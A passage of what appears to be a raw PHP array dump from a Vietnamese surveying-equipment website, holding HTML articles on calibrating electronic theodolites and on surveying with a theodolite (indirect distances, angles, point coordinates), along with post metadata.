ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5356 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ống kính về vị trí mặt phải và ngắm lại mục tiêu P.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Mục tiêu P có góc đứng hiển thị ở dòng dưới</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5357 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VL vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Hằng số truc đứng hiển thị một giây trên cả 2 góc đứng mặt phải và trái là đưa vào</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5358 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png 483w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù góc đứng được tính bằng một nửa hằng số trục đứng và ghi vào bộ nhớ.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5359 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png 484w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím khác bên cạnh phím (HOLD) là bỏ qua tiến hành hoạt động này</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để tiếp tục đặt bù góc trục đứng đến giá trị tốt hơn, bật tắt nguồn.</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Tiến hành hiệu chỉnh khi hằng số tự động trục đứng vượt quá 6′, thông báo “OVER” sẽ xuất hiện trên màn hình và điều khiển quay về bước 2</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5360 aligncenter" height="66" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hằng số mới sửa sẽ được lưu giữ nguyên vẹn trong bộ nhớ thậm chí khi bật tắt nguồn. Tất cả đo góc đứng sau đó được sửa lại bằng AC mới.</span></span></span></li> </ul> ', 'images' => '20170911075630e672d20fd038cdf903acb9804399e23d.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62562', 'slug' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '863', 'rght' => '864', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '493', 'name' => 'Một số ứng dụng của máy kinh vĩ trong trắc địa', 'code' => null, 'alias' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Máy kinh vĩ là <a href="http://tracdiapro.com/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="thiết bị đo đạc">thiết bị đo đạc</a> được dùng phổ biến trong trắc địa. <a href="http://tracdiapro.com/product-category/may-kinh-vi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy kinh vĩ">Máy kinh vĩ </a> có nhiều chức năng tiện lợi phục vụ cho công tác đo đạc của các kĩ sư trắc địa. Ngoài ra máy kinh vĩ còn có một số chức năng giống với <a href="http://tracdiapro.com/may-toan-dac-dien-tu/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy toàn đạc điện tử">máy toàn đạc điện tử</a>, và có thể dùng thay thế cho các trường hợp cần thiết.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Ngày nay với sự phát triển của khoa học công nghệ hiện đại, <a href="http://tracdiapro.com/may-kinh-vi-dien-tu-la-gi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="máy kinh vĩ điện tử">máy kinh vĩ điện tử</a> đã ra đời thay cho dòng máy kinh vĩ quang cơ trước đây. Với những thiết kế thông minh và công nghệ cải tiến dòng máy kinh vĩ điện tử đã tạo ra một bước đột phá mới cho ngành đo đạc bản đồ, mang lại hiệu suất cao và những kết quả vô cùng chính xác.</span></span></span></p> ', 'content' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">I. Đo chi tiết bằng phương pháp tọa độ cực.</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 1. Đặt máy trên một điểm trạm đo (dọi tâm, cân bằng sơ bộ, cân bằng chính xác).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 2. Định hướng: là việc ngắm ống kính về một trạm đo khác và đưa bàn độ ngang về “00”.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 3. Đo chi tiết: là việc quay máy ngắm đến mia dựng tại các điểm chi tiết (góc ranh, góc đường, góc ngoặt của sông suối…) để thu thập các số liệu về góc và cạnh rồi ghi vào trong sổ đo chi tiết.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">II. Đo khoảng cách gián tiếp</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Khoảng cách đo được từ máy đến mia người ta gọi là </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">khoảng cách trực tiếp, còn khoảng cách giữa hai mia được gọi </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">là khoảng cách gián tiếp.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần đo khoảng cách giữa 2 điểm dựng mia B và C ta làm </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại 1 điểm bất kỳ (A) sao cho có thể ngắm đến </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">các điểm dựng mia (B, C).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="do khoang cach gian tiep" class="size-full wp-image-7479 alignleft" height="153" sizes="(max-width: 284px) 100vw, 284px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-115x62.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-150x81.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png 284w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="284" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7480" height="45" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="277" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">III. Đo góc gián tiếp.</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Góc đo được tại điểm đặt máy người ta gọi là góc đo trực tiếp, còn góc xác định được tại các điểm không đặt máy người ta gọi là góc đo gián tiếp. Giả sử cần xác định 2 góc B và C như hình vẽ ta thực hiện như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy kinh vĩ tại điểm A, dựng mia tại 2 điểm B và C.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7482 alignleft" height="175" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-115x75.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-150x98.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức: <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7481" height="43" sizes="(max-width: 282px) 100vw, 282px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2-150x23.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png 282w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="282" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính góc B và C theo công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7483" height="46" sizes="(max-width: 473px) 100vw, 473px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-300x29.png 300w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-115x11.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png 473w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="473" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">IV. Đo, tính tọa độ của một điểm bằng phương pháp điểm dẫn (Cọc phụ).</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần tính tọa độ điểm T khi có các số liệu gốc và số liệu đo như hình vẽ ta tiến hành như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7484 alignright" height="236" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5-150x132.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; float: right; margin: 0px 0px 20px 20px !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh gốc: </span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">α<span style="box-sizing: border-box; margin: 0px; padding: 0px;"> AB<span style="box-sizing: border-box; margin: 0px; padding: 0px;">=120°30’40”</span></span></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh BT:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7485" height="55" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="197" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Theo hình vẽ, góc đo được là góc trái nên ta áp dụng công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; margin: 